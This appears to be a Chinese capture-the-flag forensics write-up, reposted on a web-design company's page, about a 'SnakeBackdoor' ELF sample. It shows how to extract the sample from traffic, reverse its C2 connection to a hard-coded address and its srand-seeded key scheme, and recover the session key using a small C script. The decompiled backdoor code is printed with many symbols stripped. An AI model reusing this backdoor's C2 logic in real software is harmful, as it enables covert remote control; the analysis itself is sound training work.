帝国cms做投资网站源码千锋和黑马培训前端哪个好
2026/1/22 12:32:27 网站建设 项目流程
帝国cms做投资网站源码,千锋和黑马培训前端哪个好,建设银行关方网站,vs 2017网站开发phpSnakeBackdoor-5 根据题目5的要求分析#xff0c;这题涉及流量文件提取与二进制逆向分析 基于之前的分析#xff0c;我们已经知道攻击者下载了一个名为 shell.zip 的压缩包#xff0c;并解压出了一个 ELF 二进制文件#xff08;在题目4中被重命名为 python3.13#xff09;…SnakeBackdoor-5根据题目5的要求分析这题涉及流量文件提取与二进制逆向分析基于之前的分析我们已经知道攻击者下载了一个名为 shell.zip 的压缩包并解压出了一个 ELF 二进制文件在题目4中被重命名为 python3.13所以我们需要先将流量中的shell.zip文件提取出来然后使用IDA进行逆向分析定位网络通信函数找到加密密钥解题思路如下解题思路 1、提取样本从 Wireshark 流量中将 shell.zip 提取出来。 2、解压样本使用题目 4 获得的密码 nf2jd092jd01 解压得到 ELF 文件。 3、逆向分析使用 IDA Pro 或 Ghidra 打开 ELF 文件定位网络通信函数找出硬编码的加密密钥。 4、格式转换将找到的字符串或字节流密钥转换为题目要求的小写 Hex 格式。1、提取木马本题文件由题目4的分析结果知道木马本题文件为shell.zip并且使用密码nf2jd092jd01进行了加密在 Wireshark 过滤器栏输入http contains shell.zip或者更精准地 http.request.uri contains shell.zip点击菜单栏的 File (文件) Export Objects (导出对象) HTTP在弹出的列表中在文本过滤器中搜做.zip找到文件名为 shell.zip 的那一行Content-Type 通常为 application/zip保存即可2、解密压缩包打开shell.zip压缩包是经过加密的输入题目4中得出的密码nf2jd092jd01得到里面的木马本体二进制文件3、逆向分析加密密钥将shell二进制文件拖进IDA中我们需要定位到网络通信函数先找C2 服务器通信密钥通常硬编码在数据段中选择import窗口找到inet_addr双击定位到函数选中函数然后按下X键双击.got.plt选中地址或者函数再次按X弹窗之后再双击_inet_addr选中_inet_addr一样的操作得到main函数的流程图视图F5反编译得到伪代码分析代码是一个Linux C 语言编写的后门客户端它的核心功能是主动连接攻击者的服务器通过某种协商机制生成加密密钥然后循环接收攻击者的加密指令执行后将结果加密回传首先网络连接初始化负责建立与 C2 服务器的 TCP 连接IP: 192.168.1.201 目标端口: 0xE59E十进制为58782fd socket(2, 1, 0); // 1. 创建套接字 (AF_INET2, SOCK_STREAM1) if ( fd 0 ) exit(1); // 创建失败则退出 memset(s, 48, 0x10uLL); // 初始化 sockaddr 结构体 s 2; // 地址族 AF_INET v15 inet_addr(192.168.1.201); // 2. 目标 IP 地址 v14 htons(0xE59Eu); // 3. 目标端口 // 4. 发起连接 if ( connect(fd, (const struct sockaddr *)s, 0x10u) 0 ) { close(fd); exit(1); }连接成功后进行密钥协商与生成木马没有直接发送数据而是进行了一次“握手”来生成加密通信所需的密钥这是一个基于 “种子同步” 的弱加密方案使用4字节的随机数种子生成16字节的密钥// 1. 接收 4 字节数据 (Seed) if ( (unsigned int)sub_18ED((unsigned int)fd, v7, 4LL, 0LL) ! 4 ) ... // 2. 字节序转换 (Big-Endian 转 Little-Endian) seed (*(_DWORD *)v7 8) 0xFF00 | ... ; // 3. 设置随机数种子 srand(seed); // 4. 生成 16 字节密钥 for ( i 0; i 3; i ) *(_DWORD *)v8[4 * i] rand(); // v8 就是最终的 Session Key // 5. 初始化加密上下文 (sub_13B4 可能是 KeyExpansion) sub_13B4(v10, v8, 0LL); // 初始化解密上下文 v10 sub_13B4(v9, v8, 1LL); // 初始化加密上下文 v9所以我们需要找到连接初期这 4 个字节的随机种子然后在本地写代码模拟 srand 和 rand从而计算出当次会话的所有加密密钥。返回流量包过滤出前面找到的IP和端口在找出长度为4字节的数据包ip.addr 192.168.1.201 tcp.port 58782 tcp.len 4查看数据包中的数据内容第一个数据包中的数据Data: 34952046是我们想要的4字节随机种子后面数据包中的数据Data: 00000010、Data: 00000030等等正好是 AES/RC4 等加密算法的常见块大小或者是填充后的指令长度4、编写脚本模拟计算出密钥编写脚本#include stdio.h #include stdlib.h #include stdint.h int main() { // 1. 设置你在 Wireshark 里找到的种子 // 数据包里的 hex 是 34 95 20 46对应整数 0x34952046 unsigned int seed 0x34952046; printf([*] Seed: 0x%X\n, seed); // 2. 初始化随机数生成器 (模拟木马逻辑) srand(seed); printf([] Flag: flag{); // 3. 生成 16 字节密钥 (4次 rand) for(int i 0; i 4; i) { int r rand(); // 模拟 Python 的 struct.pack(I, r) - 小端序输出 unsigned char *p (unsigned char *)r; printf(%02x%02x%02x%02x, p[0], p[1], p[2], p[3]); } printf(}\n); return 0; }可以使用在线C语言编译器https://www.onlinegdb.com/online_c_compiler最终得到flag{ac46fb610b313b4f32fc642d8834b456}

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询